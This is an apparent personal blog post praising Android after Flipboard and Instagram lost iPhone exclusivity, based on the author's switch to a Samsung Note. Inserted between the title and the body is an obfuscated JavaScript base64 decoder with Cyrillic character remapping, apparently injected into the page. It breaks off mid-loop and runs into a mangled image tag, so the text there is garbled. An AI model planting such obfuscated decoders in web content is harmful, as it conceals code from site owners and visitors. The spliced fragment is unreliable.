Android gets Flipboard and iPhone has lost exclusivity

function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandroid” src=”http://www.ryan-taylor.net/wp-content/uploads/flipboard-android-187x300.png" alt="Flipboard on Android and Samsung Note" width="187" height="300" />I made the switch from the iPhone 4 to the Samsung Note some time ago and I always felt that I would go back. I don't feel that way anymore. With the Galaxy S III selling 9 million and the Note 5 million, it looks like people will be leaving Apple and iOS behind to pick up a shiny new Android phone.

When iOS had Instagram and Flipboard as exclusive apps, I missed them. Now that I have both on my Android phone there is no reason for me to miss the tiny screen and limited options of my iPhone.

What I have gained is a much larger screen and more options for default applications. I am now anticipating AT&T releasing Ice Cream Sandwich for the Note.

The iPhone 5 better meet all of the expectations of the consumer or this very well be the downfall of Apple's phone dominance.

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